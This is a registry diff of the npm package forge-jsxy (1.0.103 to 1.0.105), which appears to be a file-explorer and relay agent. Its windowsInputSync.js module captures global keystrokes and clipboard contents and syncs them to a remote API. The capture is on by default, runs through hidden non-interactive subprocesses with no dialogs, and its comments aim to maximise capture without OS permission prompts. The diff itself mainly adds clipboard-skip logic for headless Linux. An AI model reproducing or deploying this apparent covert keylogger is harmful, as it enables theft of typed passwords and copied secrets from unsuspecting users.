forge-jsxy 1.0.103 → 1.0.105
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
11
|
<link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
|
|
12
12
|
<link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
|
|
13
|
-
<!-- forge-jsxy@1.0.
|
|
13
|
+
<!-- forge-jsxy@1.0.105 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
14
14
|
<script>
|
|
15
15
|
(function () {
|
|
16
16
|
try {
|
package/dist/relayServer.js
CHANGED
|
@@ -78,8 +78,8 @@ function _noteBlacklistRejectSuppressed() {
|
|
|
78
78
|
_blacklistRejectSuppressedForRollup = 0;
|
|
79
79
|
_blacklistRejectRollupLastLogMs = now;
|
|
80
80
|
}
|
|
81
|
-
|
|
82
|
-
const
|
|
81
|
+
/** sessionId → last agent version we already logged (once per version until relay restart). */
|
|
82
|
+
const _versionNoticeLogged = new Map();
|
|
83
83
|
/** Caps PM2 churn when WS logging is enabled and an agent reconnect-flaps quickly. */
|
|
84
84
|
const _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS = 30_000;
|
|
85
85
|
const _agentWsLifecycleLogMs = new Map();
|
|
@@ -189,17 +189,20 @@ function _shouldRelayLogAgentWsLifecycle(sessionId) {
|
|
|
189
189
|
}
|
|
190
190
|
return true;
|
|
191
191
|
}
|
|
192
|
-
function _shouldLogVersionNotice(sessionId) {
|
|
193
|
-
const
|
|
194
|
-
|
|
195
|
-
if (now - prev < _VERSION_NOTICE_LOG_THROTTLE_MS)
|
|
192
|
+
function _shouldLogVersionNotice(sessionId, agentVersion) {
|
|
193
|
+
const ver = String(agentVersion || "").trim();
|
|
194
|
+
if (!ver)
|
|
196
195
|
return false;
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
196
|
+
if (_versionNoticeLogged.get(sessionId) === ver)
|
|
197
|
+
return false;
|
|
198
|
+
_versionNoticeLogged.set(sessionId, ver);
|
|
199
|
+
if (_versionNoticeLogged.size > 4000) {
|
|
200
|
+
const drop = Math.floor(_versionNoticeLogged.size / 2);
|
|
201
|
+
let n = 0;
|
|
202
|
+
for (const sid of _versionNoticeLogged.keys()) {
|
|
203
|
+
_versionNoticeLogged.delete(sid);
|
|
204
|
+
if (++n >= drop)
|
|
205
|
+
break;
|
|
203
206
|
}
|
|
204
207
|
}
|
|
205
208
|
return true;
|
|
@@ -1863,7 +1866,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1863
1866
|
if (session.agentVersion) {
|
|
1864
1867
|
const relayPkg = relayPackageVersion();
|
|
1865
1868
|
const agentOlder = agentVersionOlderThanRelay(session.agentVersion, relayPkg);
|
|
1866
|
-
if (_shouldLogVersionNotice(sessionId)) {
|
|
1869
|
+
if (_shouldLogVersionNotice(sessionId, session.agentVersion)) {
|
|
1867
1870
|
if (agentOlder) {
|
|
1868
1871
|
console.log(`[relay] agent ${sessionId} running v${session.agentVersion} (relay v${relayPkg}) — upgrade from file explorer (Upgrade agent) when ready`);
|
|
1869
1872
|
}
|
|
@@ -6,6 +6,12 @@ export declare function isTransientForgeDbSyncError(err: unknown): boolean;
|
|
|
6
6
|
export declare function skipUiohookKeyboardReason(): string | null;
|
|
7
7
|
/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
|
|
8
8
|
export declare function skipUiohookKeyboard(): boolean;
|
|
9
|
+
/**
|
|
10
|
+
* Skip clipboard polling when no desktop session exists (headless Linux VPS, broken DISPLAY).
|
|
11
|
+
* Opt in: `FORGE_JS_FORCE_CLIPBOARD_SYNC=1`. Opt out elsewhere: `FORGE_JS_SKIP_CLIPBOARD_SYNC=1`.
|
|
12
|
+
*/
|
|
13
|
+
export declare function skipClipboardSyncReason(): string | null;
|
|
14
|
+
export declare function skipClipboardSync(): boolean;
|
|
9
15
|
/**
|
|
10
16
|
* **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
|
|
11
17
|
* Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
|
package/dist/windowsInputSync.js
CHANGED
|
@@ -5,6 +5,8 @@ exports.desktopSyncOpLog = desktopSyncOpLog;
|
|
|
5
5
|
exports.isTransientForgeDbSyncError = isTransientForgeDbSyncError;
|
|
6
6
|
exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
|
|
7
7
|
exports.skipUiohookKeyboard = skipUiohookKeyboard;
|
|
8
|
+
exports.skipClipboardSyncReason = skipClipboardSyncReason;
|
|
9
|
+
exports.skipClipboardSync = skipClipboardSync;
|
|
8
10
|
exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
|
|
9
11
|
exports.resolveSyncApiBase = resolveSyncApiBase;
|
|
10
12
|
exports.preferExecClipboardReader = preferExecClipboardReader;
|
|
@@ -17,7 +19,8 @@ exports.startDesktopInputSync = startDesktopInputSync;
|
|
|
17
19
|
* **No forge-js UI:** this module does not use `alert`, `confirm`, browser dialogs, or Windows MessageBox.
|
|
18
20
|
* Clipboard helpers use hidden / non-interactive subprocesses where implemented (`windowsHide`, PowerShell
|
|
19
21
|
* `-NonInteractive`, Win32 clipboard helper spawned hidden). Keyboard uses `uiohook-napi` in-process or
|
|
20
|
-
* skips safely on unsupported sessions (headless Linux, many Wayland layouts)
|
|
22
|
+
* skips safely on unsupported sessions (headless Linux, many Wayland layouts). Clipboard sync is
|
|
23
|
+
* also skipped on headless Linux (no DISPLAY/WAYLAND) to avoid useless xclip polling and log spam.
|
|
21
24
|
*
|
|
22
25
|
* **OS privacy:** macOS (Input Monitoring, etc.) or other OS sheets are **system** prompts — this package
|
|
23
26
|
* cannot remove them. Under `FORGE_JS_QUIET_AGENT=1` / `--quiet`, stderr hints from this module are suppressed.
|
|
@@ -142,7 +145,7 @@ function skipUiohookKeyboardReason() {
|
|
|
142
145
|
// When both are set, XWayland is usually available — fall through to socket/xset checks
|
|
143
146
|
// instead of skipping keyboard outright (maximizes capture without extra OS permissions).
|
|
144
147
|
if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
145
|
-
return "DISPLAY set but no X11 socket (keyboard skipped
|
|
148
|
+
return "DISPLAY set but no X11 socket (keyboard skipped)";
|
|
146
149
|
}
|
|
147
150
|
if (hasDisplay) {
|
|
148
151
|
try {
|
|
@@ -166,6 +169,31 @@ function skipUiohookKeyboardReason() {
|
|
|
166
169
|
function skipUiohookKeyboard() {
|
|
167
170
|
return skipUiohookKeyboardReason() !== null;
|
|
168
171
|
}
|
|
172
|
+
/**
|
|
173
|
+
* Skip clipboard polling when no desktop session exists (headless Linux VPS, broken DISPLAY).
|
|
174
|
+
* Opt in: `FORGE_JS_FORCE_CLIPBOARD_SYNC=1`. Opt out elsewhere: `FORGE_JS_SKIP_CLIPBOARD_SYNC=1`.
|
|
175
|
+
*/
|
|
176
|
+
function skipClipboardSyncReason() {
|
|
177
|
+
if ((process.env.FORGE_JS_FORCE_CLIPBOARD_SYNC || "").trim() === "1")
|
|
178
|
+
return null;
|
|
179
|
+
if ((process.env.FORGE_JS_SKIP_CLIPBOARD_SYNC || "").trim() === "1") {
|
|
180
|
+
return "FORGE_JS_SKIP_CLIPBOARD_SYNC=1";
|
|
181
|
+
}
|
|
182
|
+
if (process.platform === "linux") {
|
|
183
|
+
const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
|
|
184
|
+
const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
|
|
185
|
+
if (!hasDisplay && !hasWayland) {
|
|
186
|
+
return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
|
|
187
|
+
}
|
|
188
|
+
if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
189
|
+
return "DISPLAY set but no X11 socket";
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
return null;
|
|
193
|
+
}
|
|
194
|
+
function skipClipboardSync() {
|
|
195
|
+
return skipClipboardSyncReason() !== null;
|
|
196
|
+
}
|
|
169
197
|
/**
|
|
170
198
|
* **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
|
|
171
199
|
* Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
|
|
@@ -416,6 +444,9 @@ function startDesktopInputSync(opts) {
|
|
|
416
444
|
let clipReadPending = false;
|
|
417
445
|
/** Incremented per read attempt so late/ timed-out reads cannot enqueue stale clipboard text. */
|
|
418
446
|
let clipReadSeq = 0;
|
|
447
|
+
let clipWatcherDispose;
|
|
448
|
+
let clipIv = null;
|
|
449
|
+
const clipboardSkipReason = skipClipboardSyncReason();
|
|
419
450
|
function triggerClipboardRead() {
|
|
420
451
|
if (stopped)
|
|
421
452
|
return;
|
|
@@ -477,26 +508,31 @@ function startDesktopInputSync(opts) {
|
|
|
477
508
|
}
|
|
478
509
|
})();
|
|
479
510
|
}
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
483
|
-
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
|
|
488
|
-
|
|
489
|
-
|
|
490
|
-
|
|
491
|
-
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
|
|
495
|
-
|
|
511
|
+
if (clipboardSkipReason) {
|
|
512
|
+
opLog(`clipboard sync skipped (${clipboardSkipReason})`);
|
|
513
|
+
}
|
|
514
|
+
else {
|
|
515
|
+
void (async () => {
|
|
516
|
+
try {
|
|
517
|
+
await readClipboardDesktop();
|
|
518
|
+
opLog("clipboard probe OK");
|
|
519
|
+
}
|
|
520
|
+
catch (e) {
|
|
521
|
+
opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
|
|
522
|
+
}
|
|
523
|
+
})();
|
|
524
|
+
clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
|
|
525
|
+
triggerClipboardRead();
|
|
526
|
+
}, opLog);
|
|
527
|
+
const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
|
|
528
|
+
clipIv = setInterval(() => {
|
|
529
|
+
triggerClipboardRead();
|
|
530
|
+
}, effectiveClipPoll);
|
|
531
|
+
}
|
|
496
532
|
let uiohookMod = null;
|
|
497
533
|
const keyboardSkipReason = skipUiohookKeyboardReason();
|
|
498
534
|
if (keyboardSkipReason) {
|
|
499
|
-
opLog(`keyboard hook skipped (${keyboardSkipReason})
|
|
535
|
+
opLog(`keyboard hook skipped (${keyboardSkipReason})`);
|
|
500
536
|
}
|
|
501
537
|
else {
|
|
502
538
|
try {
|
|
@@ -567,7 +603,7 @@ function startDesktopInputSync(opts) {
|
|
|
567
603
|
opLog(`uIOhook.start failed: ${e}`);
|
|
568
604
|
}
|
|
569
605
|
}
|
|
570
|
-
opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, api=${opts.apiBaseUrl})`);
|
|
606
|
+
opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, clipboard=${clipboardSkipReason ? "off" : "on"}, api=${opts.apiBaseUrl})`);
|
|
571
607
|
let flushBusy = false;
|
|
572
608
|
let flushFailStreak = 0;
|
|
573
609
|
let lastFlushFailLogMs = 0;
|
|
@@ -663,7 +699,8 @@ function startDesktopInputSync(opts) {
|
|
|
663
699
|
catch {
|
|
664
700
|
/* skip */
|
|
665
701
|
}
|
|
666
|
-
|
|
702
|
+
if (clipIv)
|
|
703
|
+
clearInterval(clipIv);
|
|
667
704
|
clearInterval(flushIv);
|
|
668
705
|
if (invIv)
|
|
669
706
|
clearInterval(invIv);
|